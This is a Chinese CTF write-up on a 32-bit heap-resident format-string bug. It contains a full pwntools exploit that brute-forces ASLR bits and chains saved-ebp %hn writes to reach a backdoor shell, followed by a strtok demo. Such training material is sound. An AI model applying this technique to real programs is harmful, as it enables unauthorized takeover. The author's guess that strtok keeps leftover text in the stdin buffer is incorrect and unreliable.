前言
记录一下32位程序非栈上格式化字符串的爆破技巧。
程序分析
程序的逻辑比较简单,就是多个函数调用的套娃(其实也很重要,后面会讲),主要漏洞就是最后一个函数的格式化字符串的漏洞,但是格式化字符串是存储在heap上的,无法一把梭。
另外还有strtok函数需要学习一下。
这里还有一个后门函数,只要修改栈的返回地址为后门即可getshell。
exp
这里先给出exp。主要的思路就是利用程序多次调用栈存储的ebp链,第一次修改ebp链的最低位的字节,指向能够ret的地址,第二次修改此ret地址指向后门函数。
from pwn import *
from LibcSearcher import *
from sys import *
from time import *
context(os="linux",arch = "i386",log_level = "debug",terminal = ['gnome-terminal', '-x', 'sh', '-c'])
#++++++++++++++++++++++++++++++++++++++++
filename = sys.argv[1]
choice = sys.argv[2]
if choice == "1":
port = sys.argv[3]
p = remote("node4.buuoj.cn",port)
else:
p = process(filename)
elf = ELF(filename)
#++++++++++++++++++++++++++++++++++++++++
r = lambda length: p.recv(length)
ru = lambda x : p.recvuntil(x)
s = lambda x : p.send(x)
sa = lambda delim,x : p.sendafter(delim,x)
sl = lambda x : p.sendline(x)
sla = lambda delim,x : p.sendlineafter(delim,x)
itr = lambda : p.interactive()
leak = lambda addr : log.success("{:x}".format(addr))
def debug():
gdb.attach(p,"b *0x80485f6") #此处断点下在printf前
pause()
fmt = ""
fmt += "%{}c%10$hhn|".format(str(0x6c)) #这里的可以随意选择0x?c都是可以的,因为需要爆破地址
fmt += "%{}c%18$hn".format(str(0x85AB))
# debug()
sl(fmt)
itr()
动态调试
断在printf函数前,可以看到ebp处有一条很长的指针链,这就是前面提到的多次函数调用套娃的作用了。根据调用约定,ebp + 4的位置存储的是ret的地址。我们可以把0xffb16378和0xffb1637c看成一组栈帧①,0xffb16398和0xffb1639c看成另外一组栈帧②。ASLR的保护机制让栈地址会随机生成,低12bit也不会固定,但是最低4bit是固定的。同时因为多次的函数调用,低12bit中的最高4bit在一组栈帧中是相同的。这时我们就只需要爆破中间的4bit即可修改原本ebp,让其指向ret的位置。
strtok
这里是个人理解,有不对的地方还请指出
函数声明:char *strtok(char *str, const char *delim)
,分解字符串 str 为一组字符串,delim 为分隔符。
demo
#include <string.h>
#include <stdio.h>
int main () {
char str[80] = "This is - Tw0 - Hello";
const char s[2] = "-";
char *token;
/* 获取第一个子字符串 */
token = strtok(str, s);
/* 继续获取其他的子字符串 */
while( token != NULL ) {
printf( "%s\n", token );
token = strtok(NULL, s);
}
return(0);
}
运行结果如下。猜测strtok是以delim为分界符,从str中获取了字符子串,同时将剩下的字符存放在标准输入0的缓冲中,作为下一次输入。这样是为什么程序里面第二次的字符串要从0中读取了。